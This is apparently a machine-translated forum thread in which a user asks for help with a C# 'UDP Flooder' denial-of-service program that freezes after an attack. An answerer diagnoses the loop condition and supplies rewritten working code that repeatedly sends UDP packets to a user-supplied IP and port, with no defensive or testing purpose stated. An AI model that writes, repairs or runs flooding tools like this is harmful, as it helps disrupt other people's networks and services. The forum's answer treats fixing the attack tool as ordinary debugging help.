UDP Flooder に取り組んでいますが、攻撃が終了するとフォームがフリーズします...

つまり、どのように機能するかというと、ターゲットを攻撃する目的で「startUDP」メソッドを呼び出すボタンがあり (それが実行されます)、メソッド内にチェックを作成して、攻撃が終了したかどうか、および攻撃を停止するかどうかを確認します。 while ループ。残念ながら、これはプログラムのフリーズを止めません:/

どんな助けでも大歓迎です！

これまでの私のコードは次のとおりです。

あなたの問題は、ネストされた「if」ブロック内で「攻撃」をfalseに設定していることだと思います。したがって、外側のブロックがfalseを読み取ると（つまり、パケット== totalPacketsの場合）、すべてがバイパスされ、「攻撃」がfalseに設定されることはなく、whileループが無限になります。

条件を に変更するif (packets <= totalPackets)と修正されるようです。

問題を実際に再現することはできませんが、無限ループを持つことができない同じことを行うためのわずかに異なる方法を次に示します。この方法で問題が解決しない場合は、ループではありません。

       if(attacking)
        {
            //DebugLabel.Text = "Debugging Label - Checking attack status...";
            for (; packets <= totalPackets;packets++ )
            {              
                    //Thread.Sleep(100);

                    DebugLabel.Text = "Debugging Label - Initiating Flood...";
                    //Thread.Sleep(500);

                    //UDP Packet being sent to target
                    DebugLabel.Text = "Debugging Label - Creating packet that will be sent to target...";
                    //Thread.Sleep(100);
                    byte[] packet = ASCIIEncoding.ASCII.GetBytes("<XeFlooder Reborn 1.0>");
                    DebugLabel.Text = "Debugging Label - Packet creation successful...";
                    //Thread.Sleep(100);

                    //Assign Target End Point
                    DebugLabel.Text = "Debugging Label - Assigning end point based on IP and Port combination...";
                    //Thread.Sleep(100);
                    IPEndPoint ep = new IPEndPoint(IPAddress.Parse(udp_ip.Text), Convert.ToInt32(udp_port.Value));
                    DebugLabel.Text = "Debugging Label - End Point creation successful...";

                    //Socket used to flood client
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Creating Socket...";
                    Socket target = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Socket creation successful!";

                    DebugLabel.Text = "Debugging Label - Sending target the packet...";
                    //Send packet to target
                    target.SendTo(packet, ep);
                    DebugLabel.Text = "Debugging Label - Flood finished...";

                    udp_progress_bar.Maximum = totalPackets;
                    udp_progress_bar.Value = packets;
                    udp_progress_text.Text = "Progress: " + Convert.ToString(packets) + "/" + Convert.ToString(totalPackets);
            }
            MessageBox.Show("Successful UDP Flood Finished!");

            //Reset packet count
            packets = 0;
            totalPackets = 0;

            //Turn off attack loop
            attacking = false;
        }
        if (!attacking)
        {
            DebugLabel.Text = "Debugging Label - Waiting for command...";
        }
